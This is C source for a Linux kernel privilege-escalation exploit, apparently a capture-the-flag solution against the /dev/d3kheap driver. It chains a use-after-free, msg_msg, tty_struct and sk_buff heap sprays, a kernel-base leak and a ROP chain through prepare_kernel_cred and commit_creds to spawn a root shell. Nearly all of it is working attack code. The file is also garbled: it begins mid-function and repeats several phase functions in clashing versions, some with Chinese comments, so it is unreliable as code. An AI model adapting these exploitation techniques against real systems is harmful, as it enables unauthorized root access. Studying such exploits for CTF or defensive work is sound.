  rop_idx = 0;
  rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET;
  rop_chain[rop_idx++] = 0;
  rop_chain[rop_idx++] = kernel_offset + PREPARE_KERNEL_CRED;
  rop_chain[rop_idx++] = kernel_offset + POP_RCX_RET;
  rop_chain[rop_idx++] = 0;
  rop_chain[rop_idx++] = kernel_offset + MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET;
  rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS;
  rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x22;
  rop_chain[rop_idx++] = (size_t)get_root_shell;
  rop_chain[rop_idx++] = user_cs;
  rop_chain[rop_idx++] = user_rflags;
  rop_chain[rop_idx++] = user_sp + 8;
  rop_chain[rop_idx++] = user_ss;

  // 最终sk_buff堆喷部署payload
  spray_sk_buff(sock_fds, fake_msg, sizeof(fake_msg));
}

void phase_10_trigger_exploit(void) {
  log.info("PHASE 10: TRIGGER EXPLOIT & GAIN ROOT PRIVILEGES");

  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    close(pipe_fds[i][0]);
    close(pipe_fds[i][1]);
  }

  log.success("Exploit triggered! Check for root shell...");
}

/* ===========================================================
 * KERNEL SYMBOL OFFSETS & GADGETS
 * =========================================================== */
#define PREPARE_KERNEL_CRED 0xffffffff810cee40    // prepare_kernel_cred function address
#define COMMIT_CREDS 0xffffffff810ce940           // commit_creds function address
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ff0  // Return to user mode gadget
#ifdef SECONDARY_STARTUP_64
#undef SECONDARY_STARTUP_64
#endif
#define SECONDARY_STARTUP_64 0xffffffff81000040

/* ROP gadgets for control flow hijacking */
#define PUSH_RBX_POP_RSP_POP_RBP_RET 0xffffffff8113c459 // push rbx; sub eax, 0x415b0007; pop rsp; pop rbp; ret;
#define POP_RSP_RET 0xffffffff81034cf0           // pop rsp; ret
#define ADD_RSP_0X50_RET 0xffffffff81137a45      // add rsp, 0x50; ret
#define POP_RDI_RET 0xffffffff8108f9c0           // pop rdi; ret
#define POP_RCX_RET 0xffffffff81222333           // pop rcx; ret
#define MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET 0xffffffff81c3c9bb  // mov rdi, rax; rep movsq; ret

/* ===========================================================
 * HEAP SPRAY PARAMETERS
 * =========================================================== */
#define MSG_SIZE 0x400                  // Standard message size (1KB)
#define MSG_TYPE 0x41                   // Message type identifier
#define OOB_MSG_SIZE 0x1000             // Out-of-bounds read size (4KB)
#define TTY_SPRAY_COUNT 0xf0 * 2        // Maximum number of tty_struct to spray
#define MSG_QUEUE_NUM 0x1000            // Number of message queues (4096)

/* ===========================================================
 * DATA STRUCTURES
 * =========================================================== */
/* Standard message structure for IPC */
struct {
    long mtype;                           // Message type
    char mtext[MSG_SIZE - sizeof(struct msg_msg)];  // Message text buffer
} msg_data;

struct {
    long mtype;                           // Message type
    char mtext[OOB_MSG_SIZE - sizeof(struct msg_msgseg) + MSG_SIZE - sizeof(struct msg_msg)];  // Message text buffer
} oob_msg_data;

/* ===========================================================
 * GLOBAL STATE VARIABLES
 * =========================================================== */
int ptmx_fds[TTY_SPRAY_COUNT];          // tty file descriptors for heap spraying
int sock_fds[SOCKET_NUM][2];            // Socket pair file descriptors for sk_buff spraying
int msqid[MSG_QUEUE_NUM];               // Message queue identifiers for msg_msg spraying
size_t dev_fd;                          // File descriptor for vulnerable character device
size_t *leak_data;                      // Pointer to store leaked kernel data
int victim_qid = -1;                    // Queue ID containing the UAF victim object
int found_nearby_msg_msg = 0;           // Flag indicating nearby msg_msg found during OOB read
int nearby_qid = -1;                    // Queue ID of nearby message for exploitation
int nearby_offset_idx = -1;             // Offset index for nearby message in OOB read
size_t nearby_msg_msg_addr;             // Address of nearby msg_msg structure
size_t nearby_msg_queue_addr;           // Address of nearby message queue structure
size_t *fake_tty_struct = NULL;         // Pointer to fake tty_struct buffer
size_t *rop_chain = NULL;               // Pointer to ROP chain buffer
int rop_idx = 0;                        // Current index in ROP chain
char fake_msg[704] = {0};               // Fake message buffer for exploitation
size_t fake_msg_msgseg_addr;            // Address for fake msg_msgseg structure

/* ===========================================================
 * DEVICE INTERACTION COMMANDS
 * =========================================================== */
#define OBJ_ADD 0x1234                  // IOCTL command to allocate object
#define OBJ_EDIT 0x4321                 // IOCTL command to edit object
#define OBJ_SHOW 0xbeef                 // IOCTL command to show object
#define OBJ_DEL 0xdead                  // IOCTL command to delete/free object

/**
 * @brief Allocate a kernel object via ioctl
 */
void add_chunk(void) {
    ioctl(dev_fd, OBJ_ADD);
}

/**
 * @brief Free a kernel object via ioctl
 */
void delete_chunk(void) {
    ioctl(dev_fd, OBJ_DEL);
}

/* ===========================================================
 * HELPER FUNCTIONS
 * =========================================================== */

/**
 * @brief Create a tty_struct for heap spraying
 * @param tty_idx Index in ptmx_fds array
 */
void alloc_tty(int tty_idx) {
    ptmx_fds[tty_idx] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    if (ptmx_fds[tty_idx] < 0) {
        log.error("Failed to open /dev/ptmx");
        exit(-1);
    }
}

/* ===========================================================
 * EXPLOIT PHASE FUNCTIONS
 * =========================================================== */

/**
 * @brief Phase 1: Environment initialization and device setup
 * Sets up CPU affinity, saves user state, and opens vulnerable device
 */
void phase_1_init_environment(void) {
    log.info("===========================================================");
    log.info("PHASE 1: ENVIRONMENT INITIALIZATION & DEVICE SETUP         ");
    log.info("===========================================================");

    log.info("Initializing exploit environment");
    bind_core(0);                         // Pin to core 0 for consistent behavior
    save_status();                         // Save user-mode registers for later return

    log.info("Opening vulnerable character device /dev/d3kheap");
    dev_fd = open("/dev/d3kheap", O_RDONLY);
    if (dev_fd < 0) {
        log.error("Failed to open /dev/d3kheap!");
        exit(-1);
    }
    log.success("Device opened successfully, fd: %ld", dev_fd);
}

/**
 * @brief Phase 2: Socket pair preparation for heap spraying
 * Creates socket pairs for sk_buff heap spraying
 */
void phase_2_prepare_sockets(void) {
    log.info("===========================================================");
    log.info("PHASE 2: SOCKET PAIR PREPARATION FOR HEAP SPRAYING        ");
    log.info("===========================================================");

    log.info("Creating %d socket pairs for sk_buff spraying", SOCKET_NUM);
    for (int i = 0; i < SOCKET_NUM; i++) {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fds[i]) < 0) {
            log.error("Failed to create socket pair %d!", i);
            exit(-1);
        }
    }
    log.success("Successfully created %d socket pairs", SOCKET_NUM);
}

/**
 * @brief Phase 3: Message queue spraying and overlapping object setup
 * Creates message queues and sprays msg_msg objects to occupy freed memory
 */
void phase_3_spray_msg_queues(void) {
    log.info("===========================================================");
    log.info("PHASE 3: MESSAGE QUEUE SPRAYING & OVERLAPPING OBJECT SETUP");
    log.info("===========================================================");

    log.info("Creating %d message queues for heap grooming", MSG_QUEUE_NUM);
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) {
            log.error("Failed to create msg_queue %d!", i);
            exit(-1);
        }
    }
    log.success("Successfully created %d message queues", MSG_QUEUE_NUM);

    log.info("Triggering allocation of target chunk via ioctl");
    add_chunk();                          // Allocate initial chunk
    log.info("Freeing target chunk to create dangling pointer");
    delete_chunk();                       // Free chunk to create UAF condition

    log.info("Spraying msg_msg objects (%d bytes each) to occupy freed chunk", MSG_SIZE);
    memset(&msg_data, 0, sizeof(msg_data));
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        *(size_t *)&msg_data.mtext[0] = MSG_TYPE;
        *(size_t *)&msg_data.mtext[8] = *(size_t *)"BinRacer";
        *(size_t *)&msg_data.mtext[16] = i;
        *(size_t *)&msg_data.mtext[24] = *(size_t *)"BinRacer";
        if (write_msg(msqid[i], &msg_data, sizeof(msg_data), MSG_TYPE) < 0) {
            log.error("Failed to send msg to queue %d!", i);
            exit(-1);
        }
    }
    log.success("Completed msg_msg spraying across all queues");
}

/**
 * @brief Phase 4: Trigger use-after-free vulnerability
 * Double-frees the target chunk and sprays tty_structs to reclaim it
 */
void phase_4_trigger_uaf(void) {
    log.info("===========================================================");
    log.info("PHASE 4: TRIGGER USE-AFTER-FREE VULNERABILITY             ");
    log.info("===========================================================");

    log.info("Double-freeing target chunk to create UAF condition");
    delete_chunk();                       // Second free creates UAF

    log.info("Spraying tty_structs to reclaim freed memory (%d tty_structs)", TTY_SPRAY_COUNT);
    for (int i = 0; i < TTY_SPRAY_COUNT; i++) {
        alloc_tty(i);
    }
    log.success("tty_structs spraying completed");
}

/**
 * @brief Phase 5: Identify victim object and leak kernel base
 * Scans message queues to find the one containing our UAF victim
 */
void phase_5_identify_victim(void) {
    log.info("===========================================================");
    log.info("PHASE 5: IDENTIFY VICTIM OBJECT & LEAK KERNEL BASE        ");
    log.info("===========================================================");

    log.info("Scanning message queues to locate UAF victim");
    victim_qid = -1;
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        int ret = peek_msg(msqid[i], &msg_data, sizeof(msg_data), 0);
        // Check if read size differs from expected (indicates tty_struct overlap)
        if (ret != (MSG_SIZE - sizeof(struct msg_msg))) {
            victim_qid = i;
            log.success("Victim queue ID: %d, unexpected read size: %d", victim_qid, ret);
            break;
        }
    }
    if (victim_qid == -1) {
        err_exit("Failed to locate UAF in message queues!");
    }
}

/**
 * @brief Phase 6: Out-of-bounds read to leak adjacent objects
 * Uses OOB read to discover nearby msg_msg structures and their queue addresses
 */
void phase_6_oob_read_leak(void) {
    log.info("===========================================================");
    log.info("PHASE 6: OUT-OF-BOUNDS READ TO LEAK ADJACENT OBJECTS      ");
    log.info("===========================================================");

    log.info("Closing all tty_structs to free memory for OOB read");
    for (int i = 0; i < TTY_SPRAY_COUNT; i++) {
        close(ptmx_fds[i]);
    }

    log.info("Constructing fake msg_msg for OOB read (size: %d bytes)", OOB_MSG_SIZE);
    build_msg((struct msg_msg *)fake_msg, 0, 0, MSG_TYPE,
              OOB_MSG_SIZE - sizeof(struct msg_msg), 0, 0);

    log.info("Spraying sk_buff objects to fill memory hole");
    if (spray_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
        log.error("Failed to spray sk_buff!");
        exit(-1);
    }
    log.success("sk_buff spraying completed");

    log.info("Performing OOB read to scan adjacent memory regions");
    peek_msg(msqid[victim_qid], &msg_data,
             OOB_MSG_SIZE - sizeof(struct msg_msg) + 0x8, 0);

    found_nearby_msg_msg = 0;
    for (int i = 1; i < 3; i++) {
        leak_data = (size_t *)&msg_data.mtext[0x400 * i - sizeof(struct msg_msg)];
        if (leak_data[2] == MSG_TYPE) {
            nearby_offset_idx = i;
            found_nearby_msg_msg = 1;
            break;
        }
    }

    if (!found_nearby_msg_msg) {
        log.error("Failed to locate nearby msg_msg!");
        exit(-1);
    }

    nearby_msg_queue_addr = leak_data[0] - 0xc0;
    nearby_qid = leak_data[8];
    hex_dump2("Nearby msg_msg data:", leak_data, 0x50);
    log.success("Nearby queue ID: %d", nearby_qid);
    log.success("Leaked nearby msg_queue address: 0x%lx", nearby_msg_queue_addr);
    log.success("Nearby nearby msg_msg->m_list.next: 0x%lx", leak_data[0]);
    log.success("Nearby nearby msg_msg->m_list.prev: 0x%lx", leak_data[1]);
}

/**
 * @brief Phase 7: Leak kernel base address
 * Uses OOB read to leak kernel symbols and calculate kernel base
 */
void phase_7_leak_kernel(void) {
    log.info("===========================================================");
    log.info("PHASE 7: LEAK KERNEL BASE ADDRESS                          ");
    log.info("===========================================================");

    log.info("Freeing sk_buff objects to prepare for new spray");
    if (free_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
        log.error("Failed to free sk_buff again!");
        exit(-1);
    }

    fake_msg_msgseg_addr = (nearby_msg_queue_addr & 0xfffffffff0000000) + 0x9d000 - 0x20;
    build_msg((struct msg_msg *)fake_msg,
              nearby_msg_queue_addr + 0xc0,
              nearby_msg_queue_addr + 0xc0,
              MSG_TYPE,
              OOB_MSG_SIZE - sizeof(struct msg_msgseg) + MSG_SIZE - sizeof(struct msg_msg),
              fake_msg_msgseg_addr, 0);

    log.info("Re-spraying sk_buff with extended fake msg_msg");
    if (spray_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
        log.error("Failed to re-spray sk_buff!");
        exit(-1);
    }

    log.info("Performing extended OOB read to leak kernel symbols");
    peek_msg(msqid[victim_qid], &oob_msg_data,
             OOB_MSG_SIZE - sizeof(struct msg_msgseg) + MSG_SIZE - sizeof(struct msg_msg) + 0x8, 0);
    leak_data = (size_t *)&oob_msg_data.mtext[OOB_MSG_SIZE - sizeof(struct msg_msg)];
    kernel_offset = leak_data[3] - SECONDARY_STARTUP_64;
    kernel_base += kernel_offset;
    hex_dump2("Leaked msg_data:", leak_data, 0x30);
    log.success("Leaked secondary_startup_64: 0x%lx", leak_data[3]);
    log.success("Kernel base address: 0x%lx", kernel_base);
    log.success("Kernel offset: 0x%lx", kernel_offset);
}

/**
 * @brief Phase 8: Fake tty_struct operations construction
 * Prepares fake tty_struct->ops in a nearby message queue
 */
void phase_8_build_fake_ops(void) {
    log.info("===========================================================");
    log.info("PHASE 8: FAKE TTY_STRUCT OPERATIONS CONSTRUCTION           ");
    log.info("===========================================================");

    log.info("Freeing sk_buff objects to clean memory");
    if (free_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
        log.error("Failed to free sk_buff again!");
        exit(-1);
    }

    log.info("Constructing fake msg_msg for OOB read (size: %d bytes)", OOB_MSG_SIZE);
    build_msg((struct msg_msg *)fake_msg, 0, 0, MSG_TYPE,
              OOB_MSG_SIZE - sizeof(struct msg_msg), 0, 0);

    log.info("Spraying sk_buff objects to fill memory hole");
    if (spray_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
        log.error("Failed to spray sk_buff!");
        exit(-1);
    }

    log.info("Preparing fake tty_struct->ops in nearby message queue");
    *(size_t *)&msg_data.mtext[0] = MSG_TYPE;
    // tty_struct->ops->ioctl = kernel_offset + PUSH_RBX_POP_RSP_POP_RBP_RET
    *(size_t *)&msg_data.mtext[0x60 - sizeof(struct msg_msg)] = kernel_offset + PUSH_RBX_POP_RSP_POP_RBP_RET;

    if (write_msg(msqid[nearby_qid], &msg_data, sizeof(msg_data), MSG_TYPE) < 0) {
        log.error("Failed to write fake ops to queue %d!", nearby_qid);
        exit(-1);
    }
    log.success("Fake ops written to queue %d", nearby_qid);

    log.info("Leaking address of fake ops msg_msg");
    peek_msg(msqid[victim_qid], &msg_data,
             OOB_MSG_SIZE - sizeof(struct msg_msg) + 0x8, 0);
    leak_data = (size_t *)&msg_data.mtext[0x400 * nearby_offset_idx - sizeof(struct msg_msg)];
    nearby_msg_msg_addr = leak_data[0];
    hex_dump2("Fake ops msg_msg data:", leak_data, 0x50);
    log.success("Leaked fake ops msg_msg address: 0x%lx", nearby_msg_msg_addr);

    log.info("Releasing sk_buff objects to free memory");
    if (free_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
        log.error("Failed to free sk_buff!");
        exit(-1);
    }
}

/**
 * @brief Phase 9: Bypass free checks with forged msg_msg
 * Constructs a forged msg_msg to bypass security checks during free operation
 */
void phase_9_bypass_free_checks(void) {
    log.info("===========================================================");
    log.info("PHASE 9: BYPASS FREE CHECKS WITH FORGED MSG_MSG           ");
    log.info("===========================================================");

    log.info("Constructing forged msg_msg to bypass free() validation");
    build_msg((struct msg_msg *)fake_msg, nearby_msg_queue_addr + 0xc0,
              nearby_msg_queue_addr + 0xc0, MSG_TYPE,
              MSG_SIZE - sizeof(struct msg_msg), 0, 0);

    log.info("Re-spraying sk_buff with forged msg_msg");
    if (spray_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
        log.error("Failed to re-spray sk_buff!");
        exit(-1);
    }
    log.success("Forged msg_msg sprayed successfully");

    log.info("Triggering free of forged msg_msg");
    read_msg(msqid[victim_qid], &msg_data, sizeof(msg_data), 0);

    log.info("Re-spraying tty_structs to reclaim memory");
    for (int i = 0; i < TTY_SPRAY_COUNT; i++) {
        alloc_tty(i);
    }
    log.success("tty_structs re-spray completed");

    log.info("Final cleanup of sk_buff objects");
    if (free_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
        log.error("Failed to free sk_buff again!");
        exit(-1);
    }
}

/**
 * @brief Phase 10: ROP chain construction and control flow hijack
 * Builds fake tty_struct and ROP chain for privilege escalation
 */
void phase_10_build_rop_chain(void) {
    log.info("===========================================================");
    log.info("PHASE 10: ROP CHAIN CONSTRUCTION & CONTROL FLOW HIJACK     ");
    log.info("===========================================================");

    log.info("Building fake tty_struct structure");
    fake_tty_struct = (size_t *)fake_msg;
    fake_tty_struct[0] = 0x0000000100005401;
    fake_tty_struct[1] = kernel_offset + ADD_RSP_0X50_RET;
    fake_tty_struct[2] = nearby_msg_msg_addr; // tty_struct->driver
    fake_tty_struct[3] = nearby_msg_msg_addr; // tty_struct->ops

    log.info("Constructing ROP chain for privilege escalation");
    rop_chain = (uint64_t *)&fake_msg[0x50];
    rop_idx = 0;
    rop_chain[rop_idx++] = *(uint64_t *)"BinRacer";           // Padding
    rop_chain[rop_idx++] = *(uint64_t *)"BinRacer";           // Padding
    rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET;       // pop rdi gadget
    rop_chain[rop_idx++] = 0;                                 // NULL argument
    rop_chain[rop_idx++] = kernel_offset + PREPARE_KERNEL_CRED; // prepare_kernel_cred(0)
    rop_chain[rop_idx++] = kernel_offset + POP_RCX_RET;       // pop rcx gadget
    rop_chain[rop_idx++] = 0;                                 // 0 argument
    rop_chain[rop_idx++] = kernel_offset + MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET; // mov rdi, rax
    rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS;      // commit_creds()
    rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x22;
    rop_chain[rop_idx++] = *(uint64_t *)"BinRacer";           // Padding
    rop_chain[rop_idx++] = *(uint64_t *)"BinRacer";           // Padding
    rop_chain[rop_idx++] = (size_t)get_root_shell;            // Return to user shell
    rop_chain[rop_idx++] = user_cs;                           // User code segment
    rop_chain[rop_idx++] = user_rflags;                       // User flags
    rop_chain[rop_idx++] = user_sp + 8;                       // User stack pointer
    rop_chain[rop_idx++] = user_ss;                           // User stack segment

    log.success("ROP chain constructed with %d gadgets", rop_idx);

    log.info("Final sk_buff spray to hijack tty_struct->ops->ioctl");
    if (spray_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
        log.error("Final sk_buff spray failed!");
        exit(-1);
    }
    log.success("Payload deployed successfully");
}

/**
 * @brief Phase 11: Trigger exploit and gain root privileges
 * Call ioctl to trigger the exploit and spawn root shell
 */
void phase_11_trigger_exploit(void) {
    log.info("===========================================================");
    log.info("PHASE 11: TRIGGER EXPLOIT & GAIN ROOT PRIVILEGES           ");
    log.info("===========================================================");

    log.info("Call ioctl to trigger fake ops->release handler");
    for (int i = 0; i < TTY_SPRAY_COUNT; i++) {
        ioctl(ptmx_fds[i], 0xdeadbeaf, 0xdeadbeaf);
    }

    log.success("Exploit triggered! Check for root shell...");
}

/* ===========================================================
 * MAIN EXPLOIT ENTRY POINT
 * =========================================================== */
int main(int argc, char **argv, char **envp) {
    /* Execute exploit phases sequentially */
    phase_1_init_environment();
    phase_2_prepare_sockets();
    phase_3_spray_msg_queues();
    phase_4_trigger_uaf();
    phase_5_identify_victim();
    phase_6_oob_read_leak();
    phase_7_leak_kernel();
    phase_8_build_fake_ops();
    phase_9_bypass_free_checks();
    phase_10_build_rop_chain();
    phase_11_trigger_exploit();

    return 0;
}

void phase_1_init_environment(void) {
  log.info("PHASE 1: ENVIRONMENT INITIALIZATION & DEVICE SETUP");

  bind_core(0);                         // 绑定到CPU核心0
  save_status();                        // 保存用户空间寄存器状态

  dev_fd = open("/dev/d3kheap", O_RDONLY);
  if (dev_fd < 0) {
    log.error("Failed to open /dev/d3kheap!");
    exit(-1);
  }
  log.success("Device opened successfully, fd: %ld", dev_fd);
}

void phase_2_prepare_sockets(void) {
  log.info("PHASE 2: SOCKET PAIR PREPARATION FOR HEAP SPRAYING");

  for (int i = 0; i < SOCKET_NUM; i++) {
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fds[i]) < 0) {
      log.error("Failed to create socket pair %d!", i);
      exit(-1);
    }
  }
  log.success("Successfully created %d socket pairs", SOCKET_NUM);
}

void phase_3_spray_msg_queues(void) {
  log.info("PHASE 3: MESSAGE QUEUE SPRAYING & OVERLAPPING OBJECT SETUP");

  // 创建消息队列
  for (int i = 0; i < MSG_QUEUE_NUM; i++) {
    msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
  }

  // 触发驱动程序内存分配与释放
  add_chunk();
  delete_chunk();

  // 堆喷msg_msg结构
  for (int i = 0; i < MSG_QUEUE_NUM; i++) {
    *(size_t *)&msg_data.mtext[0] = MSG_TYPE;
    *(size_t *)&msg_data.mtext[8] = *(size_t *)"BinRacer";
    *(size_t *)&msg_data.mtext[16] = i;
    write_msg(msqid[i], &msg_data, sizeof(msg_data), MSG_TYPE);
  }
}

void phase_4_trigger_uaf(void) {
  log.info("PHASE 4: TRIGGER USE-AFTER-FREE VULNERABILITY");

  log.info("Double-freeing target chunk to create UAF condition");
  delete_chunk();                       // 第二次释放创建UAF

  log.info("Spraying tty_structs to reclaim freed memory (%d tty_structs)", TTY_SPRAY_COUNT);
  for (int i = 0; i < TTY_SPRAY_COUNT; i++) {
    alloc_tty(i);
  }
  log.success("tty_structs spraying completed");
}